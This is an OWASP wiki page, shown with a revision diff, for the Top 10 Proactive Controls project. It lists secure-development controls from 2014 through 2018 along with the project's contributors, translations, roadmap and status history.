* February 21, 2014 Moved 2014 info to archive tab
−
 
+
* January 15, 2016: 2016 Proactive Controls Released!
−
== What's In It? ==
+
* August 6, 2015: Kickoff for 2.0 effort, in progress
−
 
+
* March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.<br />
−
=== Original list from Andrew ===
+
* February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
−
 
 
−
# Security Architecture (including incorporating agile ideas)
 
−
# Use a (more) secure development frameworks and leverage enterprise frameworks (UAG, etc)
 
−
# Input validation
 
−
# Output Encoding
 
−
# Identity: Authentication and Session Management
 
−
# Access Control (service / controller, data, URL, function / CSRF, presentation, etc)
 
−
# Data Protection (Data at rest, including in cloud)
 
−
# Audit, Logging and Error Handling
 
−
# Secure Configuration
 
−
# Secure Communications (Data in transit)
 
  
−
=== Suggested changes by Jim ===
 
  
−
# Identity: Authentication and Session Management (same as you)
 
−
# Access Control: (service / controller, data, URL, function / CSRF, presentation, etc) (same as you)
 
−
# Query Parametrization: (this is not encoding or validation, but is essentially a per-compiled query plan into tabular data)
 
−
# Input validation (same)
 
−
# Output Encoding (same)
 
−
# Data Protection: (Data at rest, including in cloud, data in transport)
 
−
# Leverage secure development frameworks and libraries (Shiro, ESAPI, etc)
 
−
# Secure Requirements
 
−
# Secure Design and Architecture
 
−
# Audit, Logging, Error handling and Intrusion Detection
 
  
−
__NOTOC__  
+
__NOTOC__ <headertabs></headertabs>
−
<headertabs />
 
  
−
[[Category:OWASP Project]]
+
[[Category:OWASP Project|OWASP Proactive Controls]]
 +
[[Category:OWASP_Builders]]
 +
[[Category:OWASP_Defenders]]
 +
[[Category:OWASP_Document]]

Latest revision as of 07:32, 30 November 2019

Proactive-header.jpg

OWASP Top 10 Proactive Controls 2018

Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.

The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.

  1. Define Security Requirements
  2. Leverage Security Frameworks and Libraries
  3. Secure Database Access
  4. Encode and Escape Data
  5. Validate All Inputs
  6. Implement Digital Identity
  7. Enforce Access Controls
  8. Protect Data Everywhere
  9. Implement Security Logging and Monitoring
  10. Handle All Errors and Exceptions


For more information, see the complete document in the tab to the right.

Licensing

The OWASP Proactive Controls document is free to use under the Creative Commons ShareAlike 3 License.

What is This?

The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.

Presentation

Use the extensive project presentation that expands on the information in the document.

Project Leaders

Key Contributors

  • Taras Ivashchenko @ (Russian Translation)
  • Jay Zudilin (Russian Translation)
  • Danny Harris @
  • Hiroaki Kuramochi (Japanese Translation)
  • Hiroshi Fujimoto (Japanese Translation)
  • Hidenori Nagai (Japanese Translation)
  • Riotaro OKADA @ (Japanese Translation)
  • Robert Dracea (Japanese Translation)
  • Koichiro Watanabe (Japanese Translation)
  • Tony Hsu Hsiang Chih (Chinese Translation)
  • Abdessamad Temmar
  • Eyal Estrin @ (Hebrew Translation)
  • Cyrille Grandval @ (French Translation)
  • Frédéric Baillon @ (French Translation)
  • Danny Harris @
  • Stephen de Vries
  • Andrew Van Der Stock
  • Gaz Heyes
  • Colin Watson
  • Jason Coleman
  • Cassio Goldschmidt

Related Projects

Quick Access

  • Top 10 Proactive Controls 2018 PDF: EN | PL | Ru

Translations

  • Top 10 Proactive Controls 2018 Chinese PDF Download
  • Top 10 Proactive Controls 2018 Russian PDF Download
  • Top 10 Proactive Controls 2018 Polish PDF Download
  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download

Latest News and Events

Please see the News tab for more.

Archive

Mailing List

Keep up-to-date, participate or ask questions via the Project Email List.

Classifications

Owasp-incubator-trans-85.png Owasp-builders-small.png
Owasp-defenders-small.png
Cc-button-y-sa-small.png
Project Type Files DOC.jpg

OWASP Proactive Controls 2018 is currently available in the following formats.

Wiki version- is currently work in progress .

  • Michael Leung - Management consultant with Canadian Cybersecurity Inc.
"Giving developers guidance that was practical was challenging. The OWASP Top 10 Proactive Controls helped a lot."


Disclaimer

Organizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP.

How to get listed

Please let us know how your organization is using OWASP Top 10 Proactive Controls. Include your name, organization's name, and brief description of how you use the project. The project lead can be reached here.

2018 Numbering

  • OWASP-2018-C1: Define Security Requirements
  • OWASP-2018-C2: Leverage Security Frameworks and Libraries
  • OWASP-2018-C3: Secure Database Access
  • OWASP-2018-C4: Encode and Escape Data
  • OWASP-2018-C5: Validate All Inputs
  • OWASP-2018-C6: Implement Digital Identity
  • OWASP-2018-C7: Enforce Access Controls
  • OWASP-2018-C8: Protect Data Everywhere
  • OWASP-2018-C9: Implement Security Logging and Monitoring
  • OWASP-2018-C10: Handle All Errors and Exceptions

2016 Numbering

  • OWASP-2016-C1: Verify for Security Early and Often
  • OWASP-2016-C2: Parameterize Queries
  • OWASP-2016-C3: Encode Data
  • OWASP-2016-C4: Validate All Inputs
  • OWASP-2016-C5: Implement Identity and Authentication Controls
  • OWASP-2016-C6: Implement Appropriate Access Controls
  • OWASP-2016-C7: Protect Data
  • OWASP-2016-C8: Implement Logging and Intrusion Detection
  • OWASP-2016-C9: Leverage Security Frameworks and Libraries
  • OWASP-2016-C10: Error and Exception Handling

2014 Numbering

  • OWASP-2014-C1: Parameterize Queries
  • OWASP-2014-C2: Encode Data
  • OWASP-2014-C3: Validate All Inputs
  • OWASP-2014-C4: Implement Appropriate Access Controls
  • OWASP-2014-C5: Establish Identity and Authentication Controls
  • OWASP-2014-C6: Protect Data and Privacy
  • OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
  • OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
  • OWASP-2014-C9: Include Security-Specific Requirements
  • OWASP-2014-C10: Design and Architect Security In

2018 Version

  • Top 10 Proactive Controls 2018 Russian Translation: PDF Download
  • Top 10 Proactive Controls 2018 Polish Translation: PDF Download

2016 Version

  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download

2014 Version

  • Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.

Welcome to the OWASP Top 10 Proactive Controls Project!

2018 Roadmap

  • Create new PowerPoint and other artifacts for 2018 version (done)
  • Create wiki for 2018 version (work in progress)

2016 Roadmap

  • Create new PowerPoint and other artifacts for 2016 version (done)
  • Proactive Control Mapping to Cheatsheet (done)

Status

  • February 21, 2014 Moved 2014 info to archive tab
  • January 15, 2016: 2016 Proactive Controls Released!
  • August 6, 2015: Kickoff for 2.0 effort, in progress
  • March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.
  • February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.


Retrieved from "https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&oldid=256202"